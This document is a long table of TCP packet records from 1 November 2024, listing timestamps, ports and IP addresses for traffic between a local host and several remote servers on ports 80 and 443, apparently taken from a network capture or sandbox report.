Nov 1, 2024 13:42:10.019570112 CET	49747	443	192.168.2.4	142.250.186.46
Nov 1, 2024 13:42:10.019577980 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.019793034 CET	49747	443	192.168.2.4	142.250.186.46
Nov 1, 2024 13:42:10.024121046 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.024241924 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.024282932 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.024379015 CET	49747	443	192.168.2.4	142.250.186.46
Nov 1, 2024 13:42:10.024389982 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.024492025 CET	49747	443	192.168.2.4	142.250.186.46
Nov 1, 2024 13:42:10.024523020 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.024585962 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.024620056 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.024732113 CET	49747	443	192.168.2.4	142.250.186.46
Nov 1, 2024 13:42:10.024739981 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.024852991 CET	49747	443	192.168.2.4	142.250.186.46
Nov 1, 2024 13:42:10.025135040 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.025196075 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.025229931 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.025260925 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.025269985 CET	49747	443	192.168.2.4	142.250.186.46
Nov 1, 2024 13:42:10.025280952 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.025311947 CET	49747	443	192.168.2.4	142.250.186.46
Nov 1, 2024 13:42:10.026000023 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.026032925 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.026058912 CET	49747	443	192.168.2.4	142.250.186.46
Nov 1, 2024 13:42:10.026068926 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.026432037 CET	49747	443	192.168.2.4	142.250.186.46
Nov 1, 2024 13:42:10.048088074 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.048162937 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.048194885 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.048221111 CET	49747	443	192.168.2.4	142.250.186.46
Nov 1, 2024 13:42:10.048233032 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.048460007 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.048494101 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.048521996 CET	49747	443	192.168.2.4	142.250.186.46
Nov 1, 2024 13:42:10.048530102 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.048578978 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.048602104 CET	49747	443	192.168.2.4	142.250.186.46
Nov 1, 2024 13:42:10.048612118 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.048721075 CET	49747	443	192.168.2.4	142.250.186.46
Nov 1, 2024 13:42:10.049324036 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.049391985 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.049410105 CET	49747	443	192.168.2.4	142.250.186.46
Nov 1, 2024 13:42:10.049417973 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.050101995 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.050158024 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.050185919 CET	49747	443	192.168.2.4	142.250.186.46
Nov 1, 2024 13:42:10.050195932 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.050378084 CET	49747	443	192.168.2.4	142.250.186.46
Nov 1, 2024 13:42:10.140425920 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.140511036 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.140547991 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.140597105 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.140640020 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.140667915 CET	49747	443	192.168.2.4	142.250.186.46
Nov 1, 2024 13:42:10.140675068 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.140687943 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.140769958 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.140793085 CET	49747	443	192.168.2.4	142.250.186.46
Nov 1, 2024 13:42:10.140820980 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.140856028 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.140881062 CET	49747	443	192.168.2.4	142.250.186.46
Nov 1, 2024 13:42:10.140889883 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.140933990 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.140961885 CET	49747	443	192.168.2.4	142.250.186.46
Nov 1, 2024 13:42:10.140969992 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.141088963 CET	49747	443	192.168.2.4	142.250.186.46
Nov 1, 2024 13:42:10.141185999 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.141252041 CET	49747	443	192.168.2.4	142.250.186.46
Nov 1, 2024 13:42:10.141294003 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.148416996 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.148550987 CET	49747	443	192.168.2.4	142.250.186.46
Nov 1, 2024 13:42:10.148559093 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.200124979 CET	49747	443	192.168.2.4	142.250.186.46
Nov 1, 2024 13:42:10.200134039 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.248562098 CET	49747	443	192.168.2.4	142.250.186.46
Nov 1, 2024 13:42:10.413940907 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.414074898 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.414139986 CET	49747	443	192.168.2.4	142.250.186.46
Nov 1, 2024 13:42:10.414141893 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.414156914 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.414190054 CET	49747	443	192.168.2.4	142.250.186.46
Nov 1, 2024 13:42:10.414205074 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.414279938 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.414315939 CET	49747	443	192.168.2.4	142.250.186.46
Nov 1, 2024 13:42:10.414324999 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.414359093 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.414390087 CET	49747	443	192.168.2.4	142.250.186.46
Nov 1, 2024 13:42:10.414397955 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.414447069 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.414479971 CET	49747	443	192.168.2.4	142.250.186.46
Nov 1, 2024 13:42:10.414479971 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.414489985 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.414522886 CET	49747	443	192.168.2.4	142.250.186.46
Nov 1, 2024 13:42:10.414530039 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.414592028 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.414627075 CET	49747	443	192.168.2.4	142.250.186.46
Nov 1, 2024 13:42:10.414634943 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.414644003 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.414680004 CET	49747	443	192.168.2.4	142.250.186.46
Nov 1, 2024 13:42:10.414688110 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.414722919 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.414756060 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.414761066 CET	49747	443	192.168.2.4	142.250.186.46
Nov 1, 2024 13:42:10.414768934 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.414803982 CET	49747	443	192.168.2.4	142.250.186.46
Nov 1, 2024 13:42:10.414815903 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.414865017 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.414899111 CET	49747	443	192.168.2.4	142.250.186.46
Nov 1, 2024 13:42:10.414906025 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.441144943 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.441186905 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.441229105 CET	49747	443	192.168.2.4	142.250.186.46
Nov 1, 2024 13:42:10.441240072 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.441284895 CET	49747	443	192.168.2.4	142.250.186.46
Nov 1, 2024 13:42:10.446721077 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.446799040 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.446820021 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.446849108 CET	49747	443	192.168.2.4	142.250.186.46
Nov 1, 2024 13:42:10.446856022 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.446899891 CET	49747	443	192.168.2.4	142.250.186.46
Nov 1, 2024 13:42:10.446907997 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.446975946 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.447011948 CET	49747	443	192.168.2.4	142.250.186.46
Nov 1, 2024 13:42:10.464761972 CET	49747	443	192.168.2.4	142.250.186.46
Nov 1, 2024 13:42:10.464782000 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.488148928 CET	443	49751	142.250.185.142	192.168.2.4
Nov 1, 2024 13:42:10.524116993 CET	49751	443	192.168.2.4	142.250.185.142
Nov 1, 2024 13:42:10.524132967 CET	443	49751	142.250.185.142	192.168.2.4
Nov 1, 2024 13:42:10.524576902 CET	443	49751	142.250.185.142	192.168.2.4
Nov 1, 2024 13:42:10.524636984 CET	49751	443	192.168.2.4	142.250.185.142
Nov 1, 2024 13:42:10.525260925 CET	443	49751	142.250.185.142	192.168.2.4
Nov 1, 2024 13:42:10.525319099 CET	49751	443	192.168.2.4	142.250.185.142
Nov 1, 2024 13:42:10.527250051 CET	49751	443	192.168.2.4	142.250.185.142
Nov 1, 2024 13:42:10.527318954 CET	443	49751	142.250.185.142	192.168.2.4
Nov 1, 2024 13:42:10.567547083 CET	49751	443	192.168.2.4	142.250.185.142
Nov 1, 2024 13:42:10.567572117 CET	443	49751	142.250.185.142	192.168.2.4
Nov 1, 2024 13:42:10.611021042 CET	49751	443	192.168.2.4	142.250.185.142
Nov 1, 2024 13:42:10.646153927 CET	49751	443	192.168.2.4	142.250.185.142
Nov 1, 2024 13:42:10.646184921 CET	49751	443	192.168.2.4	142.250.185.142
Nov 1, 2024 13:42:10.646230936 CET	443	49751	142.250.185.142	192.168.2.4
Nov 1, 2024 13:42:10.927896976 CET	443	49751	142.250.185.142	192.168.2.4
Nov 1, 2024 13:42:10.978140116 CET	49751	443	192.168.2.4	142.250.185.142
Nov 1, 2024 13:42:10.978168964 CET	443	49751	142.250.185.142	192.168.2.4
Nov 1, 2024 13:42:11.030025959 CET	49751	443	192.168.2.4	142.250.185.142
Nov 1, 2024 13:42:11.031075954 CET	49751	443	192.168.2.4	142.250.185.142
Nov 1, 2024 13:42:11.031258106 CET	443	49751	142.250.185.142	192.168.2.4
Nov 1, 2024 13:42:11.031336069 CET	49751	443	192.168.2.4	142.250.185.142
Nov 1, 2024 13:42:11.472040892 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:11.472415924 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:11.476807117 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:11.477252960 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:11.477313042 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:11.477425098 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:11.477436066 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:11.482245922 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:11.482294083 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:11.709331036 CET	49755	443	192.168.2.4	4.245.163.56
Nov 1, 2024 13:42:11.709351063 CET	443	49755	4.245.163.56	192.168.2.4
Nov 1, 2024 13:42:11.709409952 CET	49755	443	192.168.2.4	4.245.163.56
Nov 1, 2024 13:42:11.710640907 CET	49755	443	192.168.2.4	4.245.163.56
Nov 1, 2024 13:42:11.710656881 CET	443	49755	4.245.163.56	192.168.2.4
Nov 1, 2024 13:42:12.289855003 CET	49756	443	192.168.2.4	142.250.185.142
Nov 1, 2024 13:42:12.289901018 CET	443	49756	142.250.185.142	192.168.2.4
Nov 1, 2024 13:42:12.289968014 CET	49756	443	192.168.2.4	142.250.185.142
Nov 1, 2024 13:42:12.290635109 CET	49756	443	192.168.2.4	142.250.185.142
Nov 1, 2024 13:42:12.290649891 CET	443	49756	142.250.185.142	192.168.2.4
Nov 1, 2024 13:42:12.368413925 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:12.368473053 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:12.472311020 CET	49739	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:12.472311020 CET	49756	443	192.168.2.4	142.250.185.142
Nov 1, 2024 13:42:12.879338026 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:12.879436016 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:13.102549076 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:13.102562904 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:13.102710962 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:13.110534906 CET	443	49755	4.245.163.56	192.168.2.4
Nov 1, 2024 13:42:13.110995054 CET	49755	443	192.168.2.4	4.245.163.56
Nov 1, 2024 13:42:13.113915920 CET	49755	443	192.168.2.4	4.245.163.56
Nov 1, 2024 13:42:13.113926888 CET	443	49755	4.245.163.56	192.168.2.4
Nov 1, 2024 13:42:13.114177942 CET	443	49755	4.245.163.56	192.168.2.4
Nov 1, 2024 13:42:13.172125101 CET	49755	443	192.168.2.4	4.245.163.56
Nov 1, 2024 13:42:13.372793913 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:13.372872114 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:13.516879082 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:13.522739887 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:13.775074959 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:13.775140047 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:14.047786951 CET	49755	443	192.168.2.4	4.245.163.56
Nov 1, 2024 13:42:14.095330000 CET	443	49755	4.245.163.56	192.168.2.4
Nov 1, 2024 13:42:14.279509068 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:14.284549952 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:14.414753914 CET	443	49755	4.245.163.56	192.168.2.4
Nov 1, 2024 13:42:14.414787054 CET	443	49755	4.245.163.56	192.168.2.4
Nov 1, 2024 13:42:14.414797068 CET	443	49755	4.245.163.56	192.168.2.4
Nov 1, 2024 13:42:14.414830923 CET	443	49755	4.245.163.56	192.168.2.4
Nov 1, 2024 13:42:14.414845943 CET	443	49755	4.245.163.56	192.168.2.4
Nov 1, 2024 13:42:14.414845943 CET	49755	443	192.168.2.4	4.245.163.56
Nov 1, 2024 13:42:14.414872885 CET	443	49755	4.245.163.56	192.168.2.4
Nov 1, 2024 13:42:14.414885044 CET	49755	443	192.168.2.4	4.245.163.56
Nov 1, 2024 13:42:14.414885998 CET	443	49755	4.245.163.56	192.168.2.4
Nov 1, 2024 13:42:14.414901972 CET	49755	443	192.168.2.4	4.245.163.56
Nov 1, 2024 13:42:14.414908886 CET	49755	443	192.168.2.4	4.245.163.56
Nov 1, 2024 13:42:14.414937019 CET	49755	443	192.168.2.4	4.245.163.56
Nov 1, 2024 13:42:14.415062904 CET	443	49755	4.245.163.56	192.168.2.4
Nov 1, 2024 13:42:14.415127039 CET	49755	443	192.168.2.4	4.245.163.56
Nov 1, 2024 13:42:14.415133953 CET	443	49755	4.245.163.56	192.168.2.4
Nov 1, 2024 13:42:14.466067076 CET	49755	443	192.168.2.4	4.245.163.56
Nov 1, 2024 13:42:14.514086008 CET	443	49755	4.245.163.56	192.168.2.4
Nov 1, 2024 13:42:14.514168024 CET	443	49755	4.245.163.56	192.168.2.4
Nov 1, 2024 13:42:14.515157938 CET	49755	443	192.168.2.4	4.245.163.56
Nov 1, 2024 13:42:14.529597044 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:14.529689074 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:14.861074924 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:14.866714001 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.108858109 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.108881950 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.108896017 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.108906984 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.108912945 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.108920097 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.108932018 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.108954906 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.108982086 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.109163046 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.109190941 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.109205008 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.109230042 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.109234095 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.109246969 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.109256983 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.109270096 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.109285116 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.109968901 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.109988928 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.109999895 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.110033989 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.232062101 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.232079029 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.232091904 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.232117891 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.232135057 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.232172966 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.232184887 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.232191086 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.232218027 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.232243061 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.232532024 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.232542038 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.232577085 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.232690096 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.232701063 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.232713938 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.232724905 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.232739925 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.232769012 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.233189106 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.233253002 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.233258963 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.233273983 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.233284950 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.233314037 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.233328104 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.248028994 CET	49755	443	192.168.2.4	4.245.163.56
Nov 1, 2024 13:42:15.248044014 CET	443	49755	4.245.163.56	192.168.2.4
Nov 1, 2024 13:42:15.355607033 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.355632067 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.355650902 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.355665922 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.355669022 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.355679035 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.355693102 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.355699062 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.355720043 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.355736971 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.355912924 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.355925083 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.355936050 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.355957031 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.355958939 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.355968952 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.355983973 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.356012106 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.356470108 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.356508017 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.356519938 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.356559038 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.356573105 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.356585979 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.356617928 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.479121923 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.479160070 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.479177952 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.479190111 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.479191065 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.479203939 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.479214907 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.479216099 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.479235888 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.479244947 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.479248047 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.479259968 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.479262114 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.479283094 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.479305983 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.479831934 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.479840994 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.479887009 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.479912043 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.479937077 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.479978085 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.479984045 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.480030060 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.480247974 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.480267048 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.480278015 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.480294943 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.480318069 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.602397919 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.602417946 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.602430105 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.602457047 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.602474928 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.602482080 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.602488041 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.602509975 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.602533102 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.602682114 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.602693081 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.602704048 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.602718115 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.602729082 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.602730036 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.602751970 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.602777958 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.603302002 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.603319883 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.603332043 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.603349924 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.603362083 CET	80	49754	95.215.207.176	192.168.2.4
